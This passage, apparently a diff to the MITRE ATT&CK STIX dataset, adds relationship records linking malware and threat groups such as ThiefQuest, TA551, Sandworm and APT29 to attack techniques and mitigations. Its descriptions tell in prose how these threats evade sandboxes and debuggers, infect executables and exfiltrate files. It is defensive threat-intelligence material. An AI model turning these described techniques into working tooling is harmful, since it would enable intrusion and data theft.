"source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:58:38.409Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.", + "source_name": "ESET Ebury Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36849ab3-088c-47a5-bcf9-3e68902a2e60", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.(Citation: ESET Ebury Oct 2017)", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "modified": "2021-04-23T22:56:14.884Z", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T18:58:38.412Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.", + "source_name": "ESET Ebury Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20adc21a-7721-470f-82d4-8a4cfb59a8c1", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can implant malicious code into a compromised device's firmware.(Citation: Eclypsium Trickboot December 2020)", + "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "modified": "2021-03-15T19:28:36.420Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-15T19:28:36.420Z", + "external_references": [ + { + "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", + "description": "Eclypsium, Advanced Intelligence. (2020, December 1). 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Retrieved June 19, 2020.", + "source_name": "Cybereason Valak May 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", + "source_name": "Unit 42 Valak July 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", + "source_name": "Secureworks GOLD CABIN" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93656c66-acfc-43b4-af66-bf328256b7b8", + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used a DGA to generate URLs from executed macros.(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2021-03-19T21:04:01.269Z", + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-19T21:04:01.269Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", + "source_name": "Secureworks GOLD CABIN" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e52a9525-9209-4cf5-8f8e-43057ef6c2b3", + "description": "[TA551](https://attack.mitre.org/groups/G0127) has used cmd.exe to execute commands.(Citation: Unit 42 TA551 Jan 2021)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-03-25T15:34:04.440Z", + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-19T21:04:01.270Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eca046f5-9175-4010-8297-07281f588934", + "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "target_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2021-03-19T21:04:01.283Z", + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-19T21:04:01.283Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.", + "source_name": "Cybereason Valak May 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", + "source_name": "Unit 42 Valak July 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", + "source_name": "Secureworks GOLD CABIN" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5d881746-44f9-4865-86de-97253fc197fb", + "description": "[TA551](https://attack.mitre.org/groups/G0127) has sent spearphishing attachments with password protected ZIP files.(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-03-25T15:34:04.436Z", + "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-19T21:04:01.281Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", + "source_name": "Unit 42 Valak July 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.", + "source_name": "Unit 42 TA551 Jan 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.", + "source_name": "Secureworks GOLD CABIN" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e46888e6-8c13-4a9c-8638-f8c151bec3c6", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) invokes time call to check the system's time, executes a sleep command, invokes a second time call, and then compares the time difference between the two time calls and the amount of time the system slept to identify the sandbox.(Citation: wardle evilquest parti)", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "modified": "2021-03-31T16:34:43.129Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-21T23:21:41.288Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.", + "source_name": "wardle evilquest parti" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--96af7164-6259-42cd-9007-e882be986dfa", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses [AppleScript](https://attack.mitre.org/techniques/T1059/002)'s osascript -e command to launch [ThiefQuest](https://attack.mitre.org/software/S0595)'s persistence via [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). (Citation: wardle evilquest parti)", + "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "modified": "2021-04-26T19:23:34.098Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-21T23:34:43.186Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.", + "source_name": "wardle evilquest parti" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4306857b-542d-4a54-8b4d-b835e52c5c15", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) hides a copy of itself in the user's ~/Library directory by using a . at the beginning of the file name followed by 9 random characters.(Citation: wardle evilquest parti)", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "modified": "2021-04-26T20:02:14.651Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-21T23:40:08.238Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.", + "source_name": "wardle evilquest parti" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the /Users/ folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "modified": "2021-03-31T16:34:43.154Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T02:08:48.949Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.", + "source_name": "wardle evilquest partii" + }, + { + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021.", + "source_name": "reed thiefquest ransomware analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cfc1c10-b3d5-4e9e-907e-7379c3771161", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) exfiltrates targeted file extensions in the /Users/ folder to the command and control server via unencrypted HTTP. Network packets contain a string with two pieces of information: a file path and the contents of the file in a base64 encoded string.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2021-04-26T20:02:14.787Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T02:17:41.927Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.", + "source_name": "wardle evilquest partii" + }, + { + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021.", + "source_name": "reed thiefquest ransomware analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02c4488b-6041-4222-9363-18a63ce3b835", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.(Citation: wardle evilquest partii)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2021-03-22T03:10:42.651Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T03:10:42.651Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.", + "source_name": "wardle evilquest partii" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--84b5daa3-71e9-4753-b1a8-501390e3f54c", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the function kill_unwanted to obtain a list of running processes and kills each process matching a list of security related processes.(Citation: wardle evilquest parti)", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2021-04-26T20:02:15.025Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T19:11:35.306Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x59.html", + "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.", + "source_name": "wardle evilquest parti" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e711d51c-94d3-4a20-ae11-d3584bae36d9", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses a function named is_debugging to perform anti-debugging logic. The function invokes sysctl checking the returned value of P_TRACED. [ThiefQuest](https://attack.mitre.org/software/S0595) also calls ptrace with the PTRACE_DENY_ATTACH flag to prevent debugging. ", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2021-03-22T21:57:48.752Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T21:57:48.752Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--75155c7f-3804-4f83-bbcb-4f654a5182e5", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2021-03-31T16:34:43.191Z", + "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-22T22:41:01.663Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.", + "source_name": "wardle evilquest partii" + }, + { + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. 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Retrieved March 29, 2021.", + "source_name": "Kubernetes API Control Access" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5b6ff1ab-eeca-43bc-8cd5-156bd8d3df8a", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-31T14:01:52.511Z", + "source_ref": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2021-03-31T14:01:52.511Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbb40150-0414-4b36-a28b-f7d2088f535a", + "description": "Enforce the principle of least privilege by limiting dashboard visibility to only the required users.", + "target_ref": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", + "modified": "2021-04-12T18:22:05.883Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-03-31T14:26:00.974Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1d362b9d-300d-4081-bd42-ca57c892a331", + "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", + "target_ref": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", + "modified": "2021-04-12T18:22:05.885Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-03-31T14:26:00.977Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b3e90252-cb18-4cd3-8faf-59d25a39bb46", + "description": "Limit communications with the container service to local Unix sockets or remote access via SSH. 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Retrieved March 29, 2021.", + "source_name": "Kubernetes API Control Access" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8a7c712a-c79d-42f2-bfbf-d38798f4c855", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used webshells including [P.A.S. Webshell](https://attack.mitre.org/software/S0598) to maintain access to victim networks.(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "modified": "2021-03-31T15:10:48.164Z", + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T15:10:48.164Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6f64c3b9-7882-4bcf-9ff2-3dcce03cf632", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can decrypt its configuration file.(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2021-03-31T15:35:34.079Z", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T15:35:34.079Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9cc847b7-61ae-46f7-ab06-16560775d44b", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can uninstall its persistence mechanism and delete its configuration file.(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-03-31T15:35:34.085Z", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T15:35:34.085Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23f656c7-600f-46a7-8185-0edf45299bac", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can run whoami to identify the system owner.(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2021-03-31T15:38:55.052Z", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T15:38:55.052Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). 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SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a832b2f-7aa5-4a11-a06a-5cd22fb7f457", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "modified": "2021-04-13T00:50:31.599Z", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T15:55:36.241Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3cf330d6-3a3c-437f-922b-c1bdce852b71", + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has checked the number of CPUs in the system to avoid being run in a sandbox or emulator.(Citation: IBM MegaCortex) ", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2021-03-31T18:53:16.714Z", + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T18:53:16.714Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.", + "source_name": "IBM MegaCortex" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5cc7ade7-2e21-41a3-8535-4274c138dcc4", + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can parse the available drives and directories to determine which files to encrypt.(Citation: IBM MegaCortex) ", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-03-31T18:53:16.720Z", + "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-31T18:53:16.720Z", + "external_references": [ + { + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). 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(2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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(2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c38e9a18-170d-46a8-8e39-c49e03785341", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2021-04-16T21:33:50.781Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:33:50.781Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). 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Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6828b200-b067-4667-9a77-9e434a625eaf", + "description": "[APT29](https://attack.mitre.org/groups/G0016) renamed software and DLL's with legitimate names to appear benign.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: SentinelOne NobleBaron June 2021)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2021-08-04T19:20:43.556Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": 